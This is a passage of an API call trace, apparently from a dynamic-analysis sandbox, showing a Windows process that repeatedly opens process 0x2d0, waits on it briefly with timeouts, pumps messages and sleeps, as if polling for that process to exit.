(hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.130] CloseHandle (hObject=0x2f8) returned 1 [0249.130] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.130] Sleep (dwMilliseconds=0x1) [0249.147] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.147] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.161] CloseHandle (hObject=0x2f8) returned 1 [0249.161] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.161] Sleep (dwMilliseconds=0x1) [0249.180] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.180] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.192] CloseHandle (hObject=0x2f8) returned 1 [0249.192] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.192] Sleep (dwMilliseconds=0x1) [0249.194] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.194] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.204] CloseHandle (hObject=0x2f8) returned 1 [0249.204] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.204] Sleep (dwMilliseconds=0x1) [0249.206] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.206] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.224] CloseHandle (hObject=0x2f8) returned 1 [0249.225] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.225] Sleep (dwMilliseconds=0x1) [0249.240] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.240] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.256] CloseHandle (hObject=0x2f8) returned 1 [0249.256] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.256] Sleep (dwMilliseconds=0x1) [0249.285] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.285] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.287] CloseHandle (hObject=0x2f8) returned 1 [0249.287] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.287] Sleep (dwMilliseconds=0x1) [0249.307] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.307] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.319] CloseHandle (hObject=0x2f8) returned 1 [0249.319] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.319] Sleep (dwMilliseconds=0x1) [0249.334] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.334] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.350] CloseHandle (hObject=0x2f8) returned 1 [0249.350] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.350] Sleep (dwMilliseconds=0x1) [0249.365] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.365] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.381] CloseHandle (hObject=0x2f8) returned 1 [0249.381] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.381] Sleep (dwMilliseconds=0x1) [0249.396] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.396] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.422] CloseHandle (hObject=0x2f8) returned 1 [0249.422] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.422] Sleep (dwMilliseconds=0x1) [0249.427] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.427] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.443] CloseHandle (hObject=0x2f8) returned 1 [0249.443] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.443] Sleep (dwMilliseconds=0x1) [0249.466] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.466] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.474] CloseHandle (hObject=0x2f8) returned 1 [0249.474] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.474] Sleep (dwMilliseconds=0x1) [0249.490] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.490] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.506] CloseHandle (hObject=0x2f8) returned 1 [0249.506] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.506] Sleep (dwMilliseconds=0x1) [0249.521] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.521] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.538] CloseHandle (hObject=0x2f8) returned 1 [0249.538] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.538] Sleep (dwMilliseconds=0x1) [0249.552] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.553] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.568] CloseHandle (hObject=0x2f8) returned 1 [0249.568] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.568] Sleep (dwMilliseconds=0x1) [0249.586] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.586] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.605] CloseHandle (hObject=0x2f8) returned 1 [0249.605] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.605] Sleep (dwMilliseconds=0x1) [0249.615] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.615] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.631] CloseHandle (hObject=0x2f8) returned 1 [0249.631] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.631] Sleep (dwMilliseconds=0x1) [0249.649] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.649] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.662] CloseHandle (hObject=0x2f8) returned 1 [0249.662] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.662] Sleep (dwMilliseconds=0x1) [0249.678] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.678] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.696] CloseHandle (hObject=0x2f8) returned 1 [0249.696] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.696] Sleep (dwMilliseconds=0x1) [0249.709] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.709] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.725] CloseHandle (hObject=0x2f8) returned 1 [0249.725] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.725] Sleep (dwMilliseconds=0x1) [0249.741] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.741] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.757] CloseHandle (hObject=0x2f8) returned 1 [0249.757] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.757] Sleep (dwMilliseconds=0x1) [0249.771] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.771] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.789] CloseHandle (hObject=0x2f8) returned 1 [0249.789] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.789] Sleep (dwMilliseconds=0x1) [0249.802] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.803] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.818] CloseHandle (hObject=0x2f8) returned 1 [0249.818] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.818] Sleep (dwMilliseconds=0x1) [0249.834] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.834] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.849] CloseHandle (hObject=0x2f8) returned 1 [0249.849] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.849] Sleep (dwMilliseconds=0x1) [0249.866] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.866] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.881] CloseHandle (hObject=0x2f8) returned 1 [0249.881] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.881] Sleep (dwMilliseconds=0x1) [0249.908] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.908] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.917] CloseHandle (hObject=0x2f8) returned 1 [0249.917] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.917] Sleep (dwMilliseconds=0x1) [0249.929] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.929] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.944] CloseHandle (hObject=0x2f8) returned 1 [0249.944] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.944] Sleep (dwMilliseconds=0x1) [0249.959] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.959] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.975] CloseHandle (hObject=0x2f8) returned 1 [0249.975] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.975] Sleep (dwMilliseconds=0x1) [0249.993] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.993] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.023] CloseHandle (hObject=0x2f8) returned 1 [0250.023] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.023] Sleep (dwMilliseconds=0x1) [0250.044] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.044] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.053] CloseHandle (hObject=0x2f8) returned 1 [0250.053] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.053] Sleep (dwMilliseconds=0x1) [0250.069] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.071] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.084] CloseHandle (hObject=0x2f8) returned 1 [0250.084] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.084] Sleep (dwMilliseconds=0x1) [0250.100] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.100] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.115] CloseHandle (hObject=0x2f8) returned 1 [0250.115] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.115] Sleep (dwMilliseconds=0x1) [0250.131] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.131] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.156] CloseHandle (hObject=0x2f8) returned 1 [0250.156] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.156] Sleep (dwMilliseconds=0x1) [0250.162] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.162] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.178] CloseHandle (hObject=0x2f8) returned 1 [0250.178] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.178] Sleep (dwMilliseconds=0x1) [0250.193] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.193] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.209] CloseHandle (hObject=0x2f8) returned 1 [0250.209] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.209] Sleep (dwMilliseconds=0x1) [0250.224] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.224] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.240] CloseHandle (hObject=0x2f8) returned 1 [0250.240] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.240] Sleep (dwMilliseconds=0x1) [0250.261] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.261] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.271] CloseHandle (hObject=0x2f8) returned 1 [0250.271] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.271] Sleep (dwMilliseconds=0x1) [0250.287] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.287] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.303] CloseHandle (hObject=0x2f8) returned 1 [0250.303] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.303] Sleep (dwMilliseconds=0x1) [0250.318] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.318] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.334] CloseHandle (hObject=0x2f8) returned 1 [0250.334] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.334] Sleep (dwMilliseconds=0x1) [0250.349] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.349] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.365] CloseHandle (hObject=0x2f8) returned 1 [0250.365] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.365] Sleep (dwMilliseconds=0x1) [0250.381] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.381] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.396] CloseHandle (hObject=0x2f8) returned 1 [0250.396] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.396] Sleep (dwMilliseconds=0x1) [0250.428] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.428] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.443] CloseHandle (hObject=0x2f8) returned 1 [0250.443] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.443] Sleep (dwMilliseconds=0x1) [0250.465] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.465] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.475] CloseHandle (hObject=0x2f8) returned 1 [0250.475] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.475] Sleep (dwMilliseconds=0x1) [0250.490] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.490] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.512] CloseHandle (hObject=0x2f8) returned 1 [0250.512] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.512] Sleep (dwMilliseconds=0x1) [0250.521] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.521] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.537] CloseHandle (hObject=0x2f8) returned 1 [0250.537] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.537] Sleep (dwMilliseconds=0x1) [0250.553] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.553] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.568] CloseHandle (hObject=0x2f8) returned 1 [0250.568] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.568] Sleep (dwMilliseconds=0x1) [0250.584] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.584] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.599] CloseHandle (hObject=0x2f8) returned 1 [0250.599] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.599] Sleep (dwMilliseconds=0x1) [0250.615] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.615] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.631] CloseHandle (hObject=0x2f8) returned 1 [0250.631] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.631] Sleep (dwMilliseconds=0x1) [0250.646] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.646] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.663] CloseHandle (hObject=0x2f8) returned 1 [0250.663] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.663] Sleep (dwMilliseconds=0x1) [0250.681] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.681] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.693] CloseHandle (hObject=0x2f8) returned 1 [0250.693] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.693] Sleep (dwMilliseconds=0x1) [0250.711] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.711] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.724] CloseHandle (hObject=0x2f8) returned 1 [0250.724] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.724] Sleep (dwMilliseconds=0x1) [0250.741] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.741] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.757] CloseHandle (hObject=0x2f8) returned 1 [0250.757] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.757] Sleep (dwMilliseconds=0x1) [0250.778] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.778] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.787] CloseHandle (hObject=0x2f8) returned 1 [0250.787] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.787] Sleep (dwMilliseconds=0x1) [0250.803] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.803] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.824] CloseHandle (hObject=0x2f8) returned 1 [0250.824] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.824] Sleep (dwMilliseconds=0x1) [0250.834] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.834] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.849] CloseHandle (hObject=0x2f8) returned 1 [0250.849] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.849] Sleep (dwMilliseconds=0x1) [0250.865] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.865] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.887] CloseHandle (hObject=0x2f8) returned 1 [0250.887] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.887] Sleep (dwMilliseconds=0x1) [0250.905] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.905] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.913] CloseHandle (hObject=0x2f8) returned 1 [0250.913] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.913] Sleep (dwMilliseconds=0x1) [0250.929] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.930] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.943] CloseHandle (hObject=0x2f8) returned 1 [0250.943] PeekMessageW (in: lpMsg=0x362f800, 